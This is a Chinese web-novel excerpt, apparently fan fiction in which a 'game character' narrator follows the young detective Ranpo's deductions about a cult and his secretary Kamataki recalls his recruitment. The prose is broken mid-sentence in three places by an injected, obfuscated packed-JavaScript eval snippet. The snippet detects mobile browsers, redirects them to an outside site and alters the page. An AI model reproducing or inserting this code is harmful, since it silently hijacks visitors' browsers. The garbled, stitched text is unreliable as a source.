当圣天锡杖和乱步君两个要素同时出现的时候,就代表那条世界线在这个世界,也确实地发生了。 就算如此,也还是有个问题。 时间线提前太多了。 按理说,即使和乱步君切实地存在某种联系,按照那位“教主”现在的精神状态,应该也分不出太多精力,去关注乱步君的事情。 在那条时间线中,被警校开除的乱步君主动介入了相关事件的调查,在他和教主正面对决的时候,教主才想起来还有他这么个人。 然而,在这个被玩家抛弃的棋盘上,在没有外力干涉的情况下,这种几千万分之一的蝴蝶效应,还会自然发生吗?越是这样思考,心中的不安就愈演愈烈。 总觉得,在什么我看不见的地方,有什么超出我掌控的事情,已经悄然发生了。 我不自觉地咬着大拇指,垂下眼睛思考,视线却不知不觉地被散落一地的纸张吸引。 那是几张白纸,似乎是从某本书上撕下来的,在黑白印刷的文字缝隙间,用粗粗的彩笔胡乱涂鸦了一些不成句的字词和图画。 仅仅瞥了一眼,凭借我推了乱步君多年的,让我自豪的眼力,我就能立刻做出判断,这是乱步君的笔迹。 “在看这个?”像是注意到了我的视线,乱步君举起了其中一张纸,展示自己歪七扭八的大作,“看,我把最近很出名的那个炸弹犯的逃跑路线改成了迷宫游戏!” “画得一模一样,好厉害!”对于乱步君,我向来是不吝啬于赞美的,然而话说出口的一瞬间,我察觉到了异样。 “这个,有给其他人看过吗?”我抬起眼睛,试探性地询问乱步君,“或者,关于炸弹犯的事情,有和人说过吗?” 提起这个,乱步君不可避免地感到厌烦,这种厌烦也直率地表现在了他的脸上,“当然啦,上课的时候,教官把这个当成案例给我们看,我把结论告诉他们,结果没有一个人当回事,教官还让我不要在课堂上捣乱。” “那也是社会规则吗?为什么要在这种看一眼就能知道的事情上装傻?我一点也搞不懂大人在想些什么。” 看着悲伤又不解的乱步君的脸,我张了张嘴,想说些什么,最后却只是闷闷不乐地道了歉,“对不起。” 他有些莫名其妙地看向我,“为什么你要道歉?这些话又不是你说的。” “不是因为做了什么而道歉,是因为什么也没能做,所以才觉得更加抱歉。”我的声音是无法控制的低沉,“没能更早出现在乱步君身边,真的很对不起。” 没有得到回答,我偷偷抬起眼睛观察乱步君的神色,却发现他一脸纠结。 “你,到现在为止,到底看了我多久?”最后他问。 果然,这种涉及到世界本质的,无法在物理上留下痕迹,近乎超自然的内容,是没有办法一眼看穿的啊。 这样想着,我在心里换算了一下游戏的周期,一周目的游戏时间跨度大概是十五年,按照三十个周目来算的话……我小心翼翼地抬起眼睛,回答道,“450年。” 乱步君不知为何被零食的碎屑呛了一下,我伸出手给他拍拍,他毫不在乎地把包装纸扔到一边,“你比我想得更加变态哎。” 被自推认同了。 我难以形容此刻激动的心情,只能一个劲地看着他的脸发出傻笑,半天才想起来,此刻还有该做的正事。 “乱步君,这个人能交给我吗?”我指了指地上不省人事的白袍人,想起刚才的情形,至今心有余悸,如果我晚来一步的话,乱步君可能就会被带到我不知道的地方,一想到这一点,我就觉得无法忍受。 “我想调查一下他的来历之类的,可以吗?” “用得着这么麻烦吗?”乱步君站起身,绕着昏迷的白袍人走了几圈,我害怕他出事,立刻站起来跟在他的身后。 “这家伙的父亲好像是本地某个大企业的社长吧,你擅自对他做什么的话,说不定会惹上大麻烦哦。”他撩起白袍人身上的衣服看了看,随口对我说道。 我随着乱步君的动作蹲下,看了一眼他制服名牌上的姓氏,三岛,我在脑子过了一遍横滨的本地企业,大致把人对上了号,不甚在意,但是乱步君关心我,还是很开心的。 我反过来安慰他,“没事的,像这种做了三十年还是只能在本地做做实体经济的公司,说好听点叫老牌,说难听一点就是陈腐,说不定明天就被人收购了,还算不上什么麻烦。” “哦?你很厉害嘛?”乱步君百忙之中,抬起眼皮瞥了我一眼。 “没有,只是恰好在这方面有点自信……”我不好意思地捏了捏手心。 这是实话,作为生活玩家,我也只稍微在组织经营上有点自信了。 在漫长的游戏生涯中的一次次试错,已经让玩家列出了一个详细的清单,虽然公司经营模块的事件是随机的,但基本上每次游戏开局,只要对照清单去持有那几个组织或企业,就会推进得很顺利。 而无论是圣天锡杖,还是眼前这个白袍人背后的企业,都还没有资格进入这个名单。 简单来说,他们在我眼中,都算是不入流的角色。 记忆中,从某个节点开始,在进入龙头战争的剧情后,玩家就会像往常那样,一边吸溜着奶茶,一边吐槽。 【五千亿?死的又不是我家小纯,哪来那么多遗产?股价榜单上第二都被挤兑得恨不得来舔鞋求赞助了吧?这剧情尽瞎鬼扯。】 话虽如此,我却并没有什么大富豪的实感。 作为游戏角色,在今天之前,我都没什么物欲,无论是经营的组织,还是赚取的资产,都不过是玩家为其他主要角色提供的共享资源罢了。 要说挥金如土的感觉,大概只有为了拿成就,在高倍率麻将桌上疯狂加注的时候了吧。 在我神游天外的时候,乱步君已经完成了他的检视,从昏睡得比尸体更死的白袍人身边站了起来。 “怎么样?”我的注意力立刻转移到乱步君的身上。 “集会地点……大概是在中区尾上町的地下吧。” “好厉害!那是怎么看出来的?”我的眼睛亮晶晶,一脸崇拜地看着乱步君,“乱步君能表演下那个吗?推理秀?” 然而,被我恭维的本人却并不觉得开心。 乱步君纠结地皱了皱眉,“这不是看了就知道的事情吗?” 他看着我的脸,神色中有种不愉快的别扭,“你也要对我装傻吗?” 啊,出现了。 和乱步君相处的入门级分支节点。 我并不想欺骗乱步君,话虽如此,现在的乱步君,也没有成长到能够心平气和地接受真相的时期。 脑子里飞速地闪过各种想法,谨慎地斟酌着用词,我慢慢低下头,“对乱步君来说可能是这样吧,但是我从小就被人说不够机灵……和乱步君比起来,可能是个笨蛋。” 维持着蹲在地上的姿势,我自下而上抬起视线,观察着乱步君的神色,“所以,能请乱步君教教我吗?我真的很想知道。” 这话当然算不上说谎。 我确实不如乱步君聪明,也确实在小时候被人说过不够机灵,我只不过是把一些实话进行了适当的艺术加工而已,和一些自以为是的大人不一样,总体来讲,我对乱步君还是很诚实的。 即使如此,我的内心还是很紧张,像一个等待审判的犯人一样,安静地等待着乱步君的回答。 乱步君安静了片刻,像是在思考,下一秒,突然得意起来。 “哼哼,既然你都这么说了,那就没办法了,”他像一只把尾巴翘得很高的小猫,扬起下巴,自信满满,一扫刚才的颓唐,“就让乱步大人来照顾你吧。” 萌萌。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483304|170053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他转过身,开始了我期待已久的推理秀,说实话,没想到真的能亲身见证这种场景,果然人只要活得够久,就什么都能见到。 他指着躺在地上的白袍人的鞋子,“听好了,一般来说,首先要看的是鞋子,这个嵌在防滑纹里的粉白色泥土,不是普通的淤泥,是樱花花瓣与粘土的混合物,从湿度来说,恐怕是下雨的时候沾到的吧。” 我眨了眨眼睛,听着乱步君那相对于他通常风格来讲,过于详尽的推理解说,后知后觉地意识到,他是真的想教会我。 既然如此,我就不能辜负他的期待。 迅速地在脑子中对比着推理过程中我所缺乏的知识体系,我下定决心,要在之后恶补这方面的书籍。 “暴雨从晚上八点开始,持续了一个小时左右,”乱步君从三岛的衣摆上取下一片被碾碎的花瓣,展示给我看,“他全身除了外袍湿了一小块之外都很干爽,花瓣上却有雨痕,鞋底也是湿的,说明是在雨停之后才走到室外的——” “之后要查看随身物品,”乱步君从白袍人的裤兜里翻出一把小钢珠和一张地铁乘车券,“三岛一直有打柏青哥的习惯,像他这样的少爷钱包里居然空空如也,还乘坐地铁,这是相当不自然的事情,恐怕是在游戏厅里把现金都赌光了。” “明明外袍也有衣兜,为什么要特地把这么硌人的小钢珠放在不太舒适的裤兜里呢?疑问自然而然就产生了。” “是啊,为什么呢?”我装模做样的点头,其实心里根本没有任何想法,看出这一点的乱步君猛地扑过来,用屈起的食指关节在我的太阳穴两边猛钻。 “我可是这么温柔地在教你,稍微动点脑筋吧呆子。” 说实话这招根本不痛,不如说甚至让我暗爽,但我还是配合地发出求饶的声音,但演技太差了,看出我真实想法的乱步君唐突停下了动作,警惕的后退两步。 “你真是有够变态哎,”他这么说着,继续推理,但过程已经比刚才潦草了很多,大概心血来潮的教学热情已经被我这个愚笨的弟子浇灭了吧,“之所以这样做,是因为穿着那个外袍进出公共场所让他觉得丢脸了吧。” “这样一来,他今晚的行动轨迹就很明确了。” 明确吗?这样想着,我却不敢吱声,只能一个劲的点头。 “今晚七点,他乘坐家里司机的车离开学校,抵达某个宗教场所,并换上了这套奇怪的衣服,十点之后,宗教活动结束,在活动中接到了某个任务的三岛,对于执行这件事情感到心烦意乱,脱下衣服后,独自步行前往附近的游戏厅散心,外袍上的樱花,大概也是衣服从怀里滑落的时候沾到的,毕竟如果正常穿着的话,这个长度根本碰不到地面吧。” 所以花瓣才是残破的啊,因为不是从飘落的樱花树上沾到的,而是蹭到了地上被踩过的樱花。 领悟到这点后,我不禁在心中腹诽。 乱步君,不太会教人啊。 不过这也是理所当然的,让他体谅凡人的思维,面面俱到地讲解在他眼中看一下就知道的事实,还是太强人所难了。 “结果却输光了身上的钱,连出租车也打不起的他,只能去最近的车站买了这张3号线的乘车券,按时间来算的话,大概是十二点左右离开的游戏厅吧。” “他粘在身上的这个樱花的品种,是专门在大冈川沿岸种植的景观花,将大冈川和3号线交叉,就能得到大致的方位——” 乱步君一边滔滔不绝地进行推理,一边在仓库里走了向前走了两步,猛地刹住脚步,回头看我,碧绿的眼眸闪烁着冷彻的光芒,“答案就在指路教堂地下!那里表面是外籍信徒集会所,实际上,大概已经被征用成圣天锡杖的秘密集会地点了吧。” 说完这句话,他一脸期待地回头看我,“如何?学会了吗?” 我诚实地摇摇头,前面还勉强能听懂,到后半部分,觉得厌烦的乱步君思维跳跃得太快了,我很难跟上“大概50%?” 乱步君没有说话,不知为何,我在他脸上看到了一种挫败的神色。 他欲言又止地看了我一会儿,最后还是什么也没有说,只是拍了拍蹲在地上的我的脑袋,“唉,你以后要好好跟在我身后哦。” 我不明所以地点点头。 不用他说,我本来就是那么打算的。 就算乱步君不愿意,踢我,朝我吐口水,我也会一厢情愿地继续跟着他走。 因为,我最喜欢乱步君了嘛。 5. 第 5 章 我走到仓库门口打电话。 现在是半夜一点五十五分,早就是一般人睡觉的时间,但是我拨出的号码在铃声响过两下后,就迅速被接了起来。 “晚上好,社长。”听筒对面传来的,是一个成熟稳重的男声,没有任何半夜被吵醒的不满和混沌,不愧是我每周目都必招募的超能干企业小助手,真是令人安心。 “不好意思啊,镰泷,已经睡了吧?这么晚还要麻烦你。”对于这个兢兢业业给我干了四百多年活的小助手,我还是比较和颜悦色的。 “哪里的话,分内之事罢了,社长有什么吩咐?”镰泷的回答一如既往的稳健。 “其实我这里有个人,需要你帮忙审讯一下。”我说。 “审讯。”他重复了一遍这个词,平稳的语气里听不出情绪,也让我无法判断他的这种复读是什么意思。 “是,有什么问题吗?”没办法,只能由我来提问了,这件事很重要,我并不希望这中间出任何岔子,所以还是事先沟通清楚比较好。 那边短暂地沉默了一下,镰泷可靠的声音再次响起,“不,没有问题,请问有什么需要特别留意的情报吗?” “重点审问他和圣天锡杖的关系,也派人去打听一下这个组织的其他情报,尽量全面一点,明天早上要。”我说。 想了想,还是补充了一句,“审问对象是三岛株式会社的公子,相关的影响你也顺便处理一下好了。” “我明白了。” “嗯,我把位置发给你,他现在被我打昏了,你联系GSS那边,让他们负责运输。”我余光瞥见等得有点犯困的乱步君,尽量简短地交代。 “什……打昏?发生暴力冲突了吗?社长,您没事吧?!”原本像机器人一样一板一眼地和我高效率沟通的镰泷,在听到这句话之后,不知为何突然变得紧张起来。 “我?我能有什么事?”我觉得镰泷有些莫名其妙,如果出事了,我还能这样和他打电话吗? “……抱歉,是我失态了。”镰泷显然也意识到了自己的失误,很快平复了语气,小心地和我建议,“考虑到目前的状况,是否要GSS那边派遣几个异能者保护您呢?” “嗯……”我沉吟片刻,说实话,我并不希望有其他人来打扰我和乱步君的二人世界,也并不认为,在这种初期事件里,会出现什么让我这种满级号对付不了的角色,但是考虑到乱步君的安全,果然还是应该做最周全打算才行。 乱步君作为这个世界的重要NPC,在接下来也一定会被牵扯进形形色色的事件内。 GSS的异能者虽然没有T0级别的战力,但正所谓养狗千日,用狗一时,借这个机会让他们行动起来,倒也不失为一个契机。 “可以,你安排吧,但是不要让他们离太近,远距离警戒就行。”不知道是不是错觉,听到我这句话后,镰泷似乎长舒了一口气。 “好的,我这就去联系。” “嗯,辛苦了。” “您言重了,分内之事罢了。” 简单的寒暄过后,我挂断了电话。 看不到电话另一端情形的我,自然没办法知道,在挂断电话之后,我心目中像机器人一样可靠的镰泷,是如何激动地从床上一跃而起的。 “终于……”镰泷穿着全套的睡衣睡裤,脑袋上还规矩地戴着锥形睡帽,他站在高层公寓的全景落地窗前,俯瞰着深夜依旧灯火通明的横滨,推了推鼻梁上的无框眼镜,镜片上白光一闪,“社长终于要把这座城市收入囊中了吗?” 一开始被高中生年纪的少年,从镭钵街带走,说要经营会社的时候,镰泷的心中是抱有质疑的。 不过是有钱人家的少爷的过家家罢了,虽然怀着这种想法,但他并非不知感恩之人。 一直到父亲那辈,镰泷家中都是横滨本地的龙头企业,由于经济不景气,焦躁的父亲贸然和人签下了对赌协议,错误的决策使多年的产业落入他人手中,除此之外,接踵而来的,还有大笔大笔的欠款。 然而,天性坚强的镰泷并没有就此放弃。 借助以前的人脉四处游说关系,谨慎地投资仅有的资产,在讨债人面前意志坚定地保护家人,凭借他出色的能力,假以时日,说不定真的能够东山再起吧。 如果没有发生那件事的话。 自从生意失败后,终日在家借酒消愁的父亲,突然消失了。 连同家中仅剩的资产,和护照一起。 然后找上来的是讨债人,他们告诉镰泷,在消失之前,父亲以镰泷的名义,借了一大笔高利贷。 欠款的数目,是现在的镰泷难以想象的天文数字。 看着身后一生都生活在温室内,不谙世事的母亲,和尚且年幼,懵懂无知的妹妹,镰泷几乎立刻做了决定。 只要镰泷悠斗这个人,从这个世界上消失就好了。 这并不是镰泷要去自杀的意思,像他这种人,是绝做不出逃避这种事情的,就算是逆境,也要战斗至最后一刻,这就是镰泷的信条。 将母亲和妹妹,托付给远在北海道的,信得过的亲戚,镰泷抛弃了所有的社会身份,作为一个流浪汉,毅然投入了镭钵街。 一开始吃了不少苦头,前半生都是养尊处优的大少爷,一头撞进镭钵街这种弱肉强食,近乎原始森林的地方,镰泷好几次都和死亡擦肩而过。 然而,像他这样的人,无论在哪里都是会发光的。 有人的地方就会有社会,有规则,就算是镭钵街这种靠拳头说话的地方,也有着自己的规则,镰泷用自己那出色的头脑,拼命理解着对过去的他而言,蛮横又不合理的规则,站稳了脚跟。 作为小型组织的智囊,只是生存已经拼尽了全力,浑浑噩噩地过着看不到头的日子,镰泷有时候也会想。 我的人生,以后就这样了吗? 少年就是在那个时候出现的。 穿着公立高中的制服,挎着单肩包,对于镭钵街而言,过于一尘不染的皮鞋踩在刚才混战中逃出来,像条死狗一样趴在地上喘气的镰泷面前时,简直就像一个旧时的梦。 镰泷抬起头,怔怔地看着面前的少年。 少年无视了周遭蠢蠢欲动的镭钵街居民,冷淡的脸上没有什么表情,垂下的视线专心地看着镰泷,仿佛很熟稔似的,自然地开口,“原来你在这种地方啊,镰泷,害我找了好久。” “……你是?”心中隐约产生的不好的预感,在少年从包中掏出那张借款合同时,化为了真实。 镰泷咬着牙,立刻做了一个标准的土下座,头深深地埋下去,抵住镭钵街脏污的地面。 “十分抱歉!钱我一定会想办法还清的,无论是出卖器官还是劳力,花上一辈子都行,但由我一个人来偿还,请不要伤害我的家人。” 他能感觉到少年落在他身上的视线,之后是长久的沉默,久到他忍不住抬起头,窥探少年的神色。 然后,在他惊骇的目光中,少年拿起那份写着天文数字的合同,毫不犹豫地将其撕碎了。 “别管这种蠢事了,镰泷,”少年说,细碎的纸屑像雪花一样,纷纷扬扬地落下,“这点钱根本比不上你的价值吧?” 少年看着他,无感情的语气近乎命令,却莫名让人动容,“来为我工作,镰泷,我的组织需要你。” 镰泷迟疑地搭上少年向他伸出的手,缓慢地,迟疑地,站起来,脊背挺直的一瞬间,就像抖落了一直压在身上,将一切尊严和人格,梦想,都碾得粉碎的什么东西。 世界在那一刻,突然熠熠生辉。 他跟随着少年走出镭钵街,四面传来令人无法忽视的,窥探的视线,然而却像顾及着什么一般,不敢上前。 少年在一辆迈巴赫S650普尔曼面前停下,有些高兴,“太好了,没被偷走呢。” 没有司机吗?镰泷察觉到话语中的潜台词,精于人情世故的他立刻上前一步,准备为这位过于年轻的雇主开车,在手指即将触及车门把手的那一刻,却听见从背后传来的催促声。 “发什么呆啊,镰泷,”少年跨在一辆老旧的单车上,冲他鸣了鸣车铃,又拍拍身后那看起来就很膈屁股的货架,一脸疑惑地看着他,“该走了。” 几年之后,作为横滨第一会社的二把手,镰泷执着于为自己的老板购置各类豪华座驾,很难说这不是出于对这天的某种代偿心理。 年轻的雇主没有看起来那么瘦弱,载着他轻松地骑过了半个城区,让镰泷的股骨在颠簸中充分感受到了什么叫作生命之痛。 然而事实上,这些都无足轻重,关于那天,镰泷的记忆只剩下了漫天赤红的晚霞。 他憋屈地抬起长腿,缩在自行车的后座上,看着黄昏的云朵一片接着一片空虚地飘过去,不为地上任何庸俗的事物所改变,那些憋了很久的眼泪突然就落了下来。 他紧紧攥住少年校服外套,把脸埋在手臂和眼前脊背框出的一小片阴影里,哭得涕泗横流。 因为抽泣颤动的胸腔,带得本就因载了两个男人而摇摇欲坠的自行车抖如筛糠。 但骑车的少年就像什么也没有察觉一样,只是沉默而坚定地向前。 他们在一栋老旧的二层事务所面前停下。 “这里就是办公室。”少年冷淡地介绍道,同时把校服外套脱下来,检查后腰有没有沾到眼泪和鼻涕。 镰泷愣愣地看着他的动作,忽然就又能笑了。 仔细想想,从那个时候开始,就应该注意到那位高中生社长的异常。 一开始以为只是过家家一般的企业经营,却在短短几个月内,彻底颠覆了镰泷的想象。 买进,卖出,自如地操控着市场,像玩游戏一样毫不犹豫地做出高风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483305|170053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 险的决策,却又像能预知未来一样,从未失手。 公司名下的货船被GSS胁持,近乎半胁迫地缔结下安全保障服务协议的时候,镰泷在那蛮不讲理的异能力者面前,又惊又怒,少年却面色如常。 “终于。”他这么说。 没有理解这句话意思的镰泷,眼睁睁看着GSS是如何被煽动内乱,又在极短时间内被全面洗盘,成为少年的私人武装的。 “我也想要自己的猎犬。”少年翻看了几下行动的报告书,不甚在意地将文件扫到一边,“就先这么养着吧,还不到狩猎的时候。” 以此为契机,本来出身清白的会社开始沾染武器、走私等等灰色产业。 这一步走得让镰泷心惊胆战。 社长难道要参与横滨这座城市如同绞肉机一般的地下势力博弈中吗? 但是,既然是社长的决定,作为完美的秘书,就要全力支持。 怀抱着这样的心情,镰泷写下了《横滨地下世界制霸计划1.0》,所幸,这似乎只是一次性质单纯的业务扩张,社长停留在越线之前,并在那条线附近观望着反复横跳。 顺便一提,镰泷的《横滨地下世界制霸计划》,目前已经更新到了7.0版本。 随着版本更新的,是他们在不知不觉间,已经搬出了老旧的二层事务所,在港口的核心商圈,拥有了属于自己的整栋大楼。 “这段时间辛苦你了,镰泷。”社长坐在宽敞而时尚的高层办公室里,“到现在这个阶段,也是时候给会社换个名字了吧。” 公司之前的名字,是以起步阶段的代表产业为主的“时田食品”,在业务已经扩展至各行各业,更侧重于科技产业的当下,确实已经不太合适。 少年单手支着脸,在办公桌后面呆坐了一会儿,维持着一片空白的表情,缓缓抬起头,“黑衣组织,你觉得怎么样?” 此时的镰泷,已经不是过去那个会因为区区单车而目瞪口呆的无知新人了,经过一段时间的相处,他已经充分理解了自家社长时常异想天开的本质,于是只是冷静地推了推眼镜,“社长,公司的名号也会影响到人们的第一印象,请不要在这种事情上开玩笑。” “嘁,失败了。”像是觉得麻烦一样,他转过了头,用所有人听得见的声音喃喃自语。 镰泷明白,这是社长开始觉得不耐烦的标志。 作为完美的秘书,对于这种事情,镰泷当然也早有预案。 无框眼镜的镜片上寒光一闪,镰泷丝滑地将一份文件呈放到社长面前,“这是我搜集各部门的意见,征集到的公司名称备案,社长觉得苦恼的话,也可以在里面选一个。” 这话其实不尽然。 说是各部门的意见,其实这份文件中半数以上的备用名,都是镰泷揣测着社长的喜好,自己拟定的。 从中规中矩的“时田株式会社”到社长好像会喜欢但不至于太出格的“千轨科技(OrbitTech)”,应有尽有。 “真可靠啊,镰泷。”社长垂眸看了一会儿,突然抬起头,冲他露出了一个微笑。 光是看这个表情,镰泷就知道,自己那自以为不着痕迹的努力,又被看出来了。 “这样的话,我也能放心把公司交给你了。”这样说着,社长拿起笔,在文件上圈了一下。 不出意料,中选的是“千轨科技”。 然而,此时的镰泷,已经没有了为精准的预测而沾沾自喜的心情。 “那是……什么意思?” “我要休息一段时间,”社长轻描淡写地说,抬起眼睛看着他,“要准备升学考试,正好公司的扩张,到这个阶段也差不多了,日常的维系工作,我可以相信你吧?” 镰泷恍然大悟,社长的行事过于雷厉风行,让他差点忘了,对方还只是个高三学生。 “您的目标院校是哪一所呢?是否需要我这边进行相应的安排?”虽说做到这种程度,学历什么的,不过是锦上添花罢了,镰泷依然积极地为自家社长的学业操心着。 “嗯?东大吧。”社长镇定自若地说出了TOP1的名号。 “真、真不愧是社长。”即使是全身心相信社长的镰泷,也不由得为这过高的目标打了个磕巴,回想着社长平日的起居,他不由得开始担心,完全没在学习啊,真的没问题吗?社长。 “我的父母,全都是东大医学部毕业哦,听说也是在学生时代认识的呢,所以我也想去那里看看。”大概是今天心情特别好吧,社长主动提起了平时绝对不会提起的话题。 “原来如此,正所谓虎父无犬子,令尊令堂看到社长今天的成就,想必已经很为您骄傲了吧。” “撒,谁知道呢?”明明是理所当然的事情,社长却垂下眼睛,露出了略显虚无的笑容,那表情,不知为何,显得有点寂寞,“毕竟,他们已经不在了嘛。” 6. 第 6 章 那天之后,社长就断崖式断联了。 虽然被提前通知过,镰泷还是觉得不可思议。 毕竟,在此之前,千轨科技,可以说是完全的独裁者企业。 所有的重大决策,都由社长一人完成,当他决意做某件事时,即使其他人的反对再激烈,也无法改变分毫。 而事实总会证明,社长才是对的。 在为这样的社长感到自豪的同时,镰泷也不可避免地感到焦虑。 只凭借自己一介秘书,能维系基金会的日常运转吗? 尽管感到不安,他还是尽力去做了,或许是社长那句“交给镰泷的话就可以放心”激励到了他,又或许是社长离开之前的确安排好了一切,总之,事情的进展都很顺利。 然而,这一天还是不可避免地到来了。 必须交由社长本人过目的重大决策,拿起手机,手指停留在拨号界面上,镰泷紧张地打着腹稿,力求在最短时间内,讲事情说清楚。 希望不要打扰社长宝贵的学习时间,怀抱着这样的心情,镰泷按下了通话键。 短暂的铃声过后,电话被接起,然而听筒的另一端传来的,却不是社长的声音。 “谁啊?别在这个时候来打扰好吗?小纯的时间现在是被我买下的哦,你这偷腥猫!”醉醺醺的,女人的声音,从电话中传来。 镰泷木然地站在那里,感觉自己的身体一寸寸地石化,然后裂开了。 嘈杂的背景音中,依稀能听见社长为难的声音,“伊藤小姐,麻烦把手机还给我吧,不,不是的,不是其他客人的电话,应该是家里打来的,对,当然可以发誓啦,毕竟我重要的公主殿下,只有伊藤小姐嘛。” 之后是悉悉簌簌的声音,应该是在移动,片刻后,社长那一贯冷淡的声音终于响了起来,只是不知为何,却罕见的透露出一点疲惫,“怎么了?镰泷。” 他应该是走进了相对安静的后场,然而即便如此,那过于喧闹的重节奏音乐声,依旧依稀从电话中传出来。 镰泷张了张嘴,之前规划了半天的腹稿在这一刻全都消失无踪,嘴里传出的是比自己想象中更加沉重的声音,“社长,您现在在哪里?” 电话对面沉默了片刻,“……这个不重要吧?有工作就快点汇报,我这里还有事。” 怎么可能不重要! 镰泷内心的Q版小人呈世界名画《呐喊》式的崩溃状。 然而,作为完美的企业小助手,他还是立刻镇定地汇报情况。 社长一如既往快速地下达了指示,对策清晰而完美,听起来没有任何异常。 挂断电话后,镰泷立刻派遣心腹对社长的行踪进行地毯式搜查,而翻阅了那份被要求以最快速度呈现的报告后,他几近昏厥。 他一脸崩溃地同时翻着本季度的财报和社长的行程,对人生感到怀疑。 不是,我们公司蒸蒸日上也不像是要倒闭的样子啊,社长到底为何要打这么多份工?难道说这也是有钱人的爱好?一种体验人生的方式? 看着占据了整面A4纸的NO.1男公关宣传广告,出现在彩印广告上的,正是自家高中生社长的脸。 以社长的身价而言过于廉价的西装,以刻意凸显身材的方式被穿在身上,头发也是精心打理过的,化妆师颇具心机地在社长的脸上加了点闪粉,让原本冷淡的神色呈现出一种湿漉漉的破碎感。 镰泷皱着眉看了照片几秒,“啪”的一声用力合上了报告。 站在办公桌对面,战战兢兢等他反馈的心腹被这个动作惊得全身一震,眼观鼻鼻观心地低下脑袋,生怕这无妄之灾砸到自己的脑门上。 即便如此,他也没有立刻转身离开的想法。 毕竟在横滨这个城市,世界毁灭或许隔三岔五会发生,但老板下海这种事情,却是可遇而不可求的啊。 像是察觉到了他的想法,镰泷猛地抬起头,无框眼镜的镜片闪过一道锐利的白光,他双手交叉置于身前,深沉道,“这件事,如果流传出去,会有什么样的后果,你明白的吧?” 心腹立刻诚惶诚恐地表忠心,镰泷的心思此时根本不在他身上,很快心不在焉地挥了挥手,让他离开。 等确认四下无人之后,他才取下眼镜,45度怅然地看着办公室的天花板,悄悄流下了一滴眼泪。 “这群家伙,根本一点也不懂社长的优点。” 社长,社长明明是男人中的男人,雄性中的雄性,一个魁梧男子,前面忘了,后面忘了,好一个能让金丝雀依偎的宽大肩膀。 总之,作为一个社长单推公公,镰泷无法忍受自家社长变成别人的金丝雀。 他在座位上静坐片刻,把眼镜戴回去,打司机了个电话,“把车开到楼下等我。” 等待在公司门口的,正是那辆曾经戏弄过他的迈巴赫S650普尔曼。 镰泷坐上后座,解开西装的前扣,长舒了一口气,报了一个地址。 这是写在那份调查资料上的,社长如今的住址。 虽然作为横滨本地人,在看见地址的时候,心里已经多少有了一些猜测,但是当车真的被堵在廉租公寓那仅容步行通过的小巷外时,镰泷还是感觉心重重地抽动了一下。 缓缓踏上吱呀作响的老旧木楼梯,在确认资料上的门牌号外,真的挂着“时田”的姓氏后,镰泷深吸了一口气,轻轻敲了两下门。 房间里很快传来走动的声音,即使镰泷拼命地祈祷,门还是不顾他意愿地打开了。 站在那里的社长,既不是在公司里意气风发的样子,也不是广告画上那种刻意修饰过后的阴郁破碎,只是一个普通的,疲惫的,年轻人。 “镰……”连他的名字都没喊完,仿佛受到了极大惊吓的社长,下意识地猛地要摔上门。 然而镰泷已经迅速地上前一步,用皮鞋抵住了薄薄的木门,即使被大力砸出了“嘶”的气音,依旧表达了自己坚决的态度。 大概是意识到已经无法逃避了,社长不情不愿地打开了门,即使如此,也没有请他进去的意思,只是堵在门口,很不客气地问,“镰泷,你在这种地方做什么?” “那是我的台词,”镰泷借着身高优势,快速地从门缝中扫了一眼那因为过于狭小和简陋,所以一览无余的室内,“社长不是应该在准备升学考试吗?为什么会待在这种地方。” “那是……有理由的。”过于不自然的停顿,即使如此,也没有说出任何具体的原因,和平时雷厉风行的社长完全不一样,让镰泷的心不由得一沉。 “难道是受了胁迫?有任何麻烦都请务必告诉我,为社长分忧是我的责任。”镰泷近乎急切地传达着自己的担忧,然而,却起了反作用。 “镰泷,我信任你,才把公司交给你的,结果你用来打探我的行踪吗?”站在那里的社长,明明是个比他更瘦小的少年,灰黑色的眼睛里,却有种居高临下的冰冷。 “说什么‘任何麻烦’,你现在站在这里,对我来说就已经是最大的麻烦了,这种事情,你不懂吗?” “社长……” “我们只是工作上的关系吧?”少年的语气冷漠,“做好你该做的事情,不要来窥探我。” 说实话,几乎就要退缩了。 但这是不行的。 这种时候就会意识到,剥离掉那些唬人的光环,在那些光鲜亮丽的外壳之下,社长终究只是一个孩子。 对于孩子来说,经营公司或许就像打游戏一样,是只要选对选项,就能轻松通关的东西。 然而人生毕竟是比游戏更加困难的东西,既没有选项,也没有攻略,所以遇到无法攻克的难关,比起解决,更想要逃避。 而所谓成年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483306|170053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的勇气,就是不能被那些扎人的表象所欺骗,而是要负起责任,面对那些真正重要的事物,将想要传达的东西,好好传达。 